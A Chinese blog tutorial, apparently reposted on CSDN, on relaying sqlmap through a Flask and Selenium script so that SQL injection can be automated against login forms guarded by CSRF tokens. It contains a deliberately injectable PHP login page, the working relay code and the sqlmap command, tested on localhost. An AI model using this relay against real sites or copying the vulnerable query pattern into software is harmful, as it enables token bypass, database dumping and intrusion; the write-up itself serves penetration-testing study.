selenium 表单提交结果_使用 flask + selenium 中转 SQLmap 进行注入

本文作者:Z1NG(信安之路 2019 年度荣誉作者)

逛 tools 看到大佬使用这种方式日站,感觉蛮有意思的,就本地来实现玩玩。开头放上原文链接,以表崇拜之情:

https://www.t00ls.net/articles-52164.html

使用场景

在某些登录框,由于做了 token 保护,当传入的 token 与服务端的不一样的时候就会停止程序进一步的运行。那么如果这个这个登录框存在 SQL 注入,却无法自动化攻击,使用手工脱裤难免有些尴尬。又或者前端使用了某种加密方式,而我们传入的 payload 需要先进行这样的加密。这里介绍的 flask + selenium 中转 SQLmap 的方式注入,可以解决上述的问题。

原理

通常一个 token 值都是被隐藏在一个表单之中随着表单一起被发送到服务端,这样使用 selenium 模拟登陆的方式,自然而然可以或得到最新的 token 值,从而绕过保护。那我们如何把 sqlmap 的 payload 传递给 selenium?显然,我们可以搭建一个 web 服务,接收 sqlmap 传递过来的 payload,然后通过 selenium 的将 payload 填入到目标站点之中。

5a029bdc960fc4b3357f4b8cf7daec40.png

实现利用

首先,先编写一个具有注入的登录框,测试代码如下。以下代码主要是设置了一个 token 值,防止表单重复提交。

f4b2431bbe83441adc3457aa6e8c8c51.png

<?php session_start(); function randStr( $length = 32 ) {    $str = substr(md5(time()), 0, $length);//md5加密,time()当前时间戳    return $str;}if(!isset($_SESSION['token']) || $_SESSION['token']=='') {     $_SESSION['token']=randStr();} if(isset($_POST['token'])&&$_POST['token']!==$_SESSION['token']){   $_SESSION['token']=randStr();  die("token error");}$con = mysqli_connect("localhost","root","root","user");if(!$con){ die("something erorr"); }if(isset($_POST['username'])&&isset($_POST['password'])){  $sql="select * from user where username='".$_POST['username']."' and password='".$_POST['password']."'";  echo $sql,"
"; $rs = @mysqli_query($con,$sql); $r = @mysqli_fetch_array($rs);}$_SESSION['token']=randStr();?>"Content-Type" content=
"margin:0 auto;width:100px"> "index.php" method="POST"> 用户名:"text" name="username" id='username'/> 密 码:"password" name="password" id='password'/> "hidden" name="token" id="token" value=<?php echo $_SESSION['token'];?> /> "submit" id="submit"/>

如下两个数据包可以看出,重放数据包由于传入的 token 值和服务端的 token 值不符就会被中断。说明我们的 token 值起到了保护的作用了。

5327cc60498708a040e2cc0ffc95c80f.png

104abc9fb73e5a370cae90de717358f3.png

那么接下来,就是构造 flask+selenium 环境,用来中转 payload,从而绕过这个保护机制。首先要起一个 web 服务承接 sqlmap 发送来的 payload,然后将 payload 通过 selenium 模拟登陆的方式填入表单。

代码如下:

from flask import Flaskfrom flask import requestfrom selenium import webdriverchrome = webdriver.Chrome()chrome.get("http://127.0.0.1")app = Flask(__name__)def send(payload):    #起到中转payload效果。  chrome.find_element_by_id("username").send_keys(payload) #把payload填到有注入点的地方  chrome.find_element_by_id("password").send_keys("aaaa")  chrome.find_element_by_id("submit").click()  return "111" #随便返回一下不重要  @app.route('/')def index():    # 接收sqlmap传递过来的payload    payload = request.args.get("payload")    return send(payload)if __name__ == "__main__":    app.run()

然后把 python 脚本跑起来,接着使用 sqlmap 扫描我们自己搭建的 flask 服务,效果就如下所示。

python sqlmap.py -u"127.0.0.1:5000/?payload=1

3ea95f4e665070c58f041b51ba89f261.png

就这样,虽然 sqlmap 扫描的是 5000 端口的 flask 服务,但是 payload 就成功的被中转到了目标网站上,也能成功的识别出是否存在注入。

fcd568baa67161f5a3bc70e8ac27ea80.png

最后

其实这里有个疑问,经过了中转 sqlmap 为什么还能识别出注入

我猜测,上面的测试用例是基于时间的注入,也就是原本判断目标站点的执行时间,被转换成判断 send 函数的执行时间。而 send 函数的执行时间取决于目标网站的执行时间,因此还是等效的。那么有没有办法识别出布尔型注入呢?这个。。。没做尝试。。如果对 selenium 返回结果进行处理的得当的话,应该是可以识别的。代码写的太垃圾。。。所以就没深究了。。。

e2bab38111875dbaa8629465d6556f0a.png

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值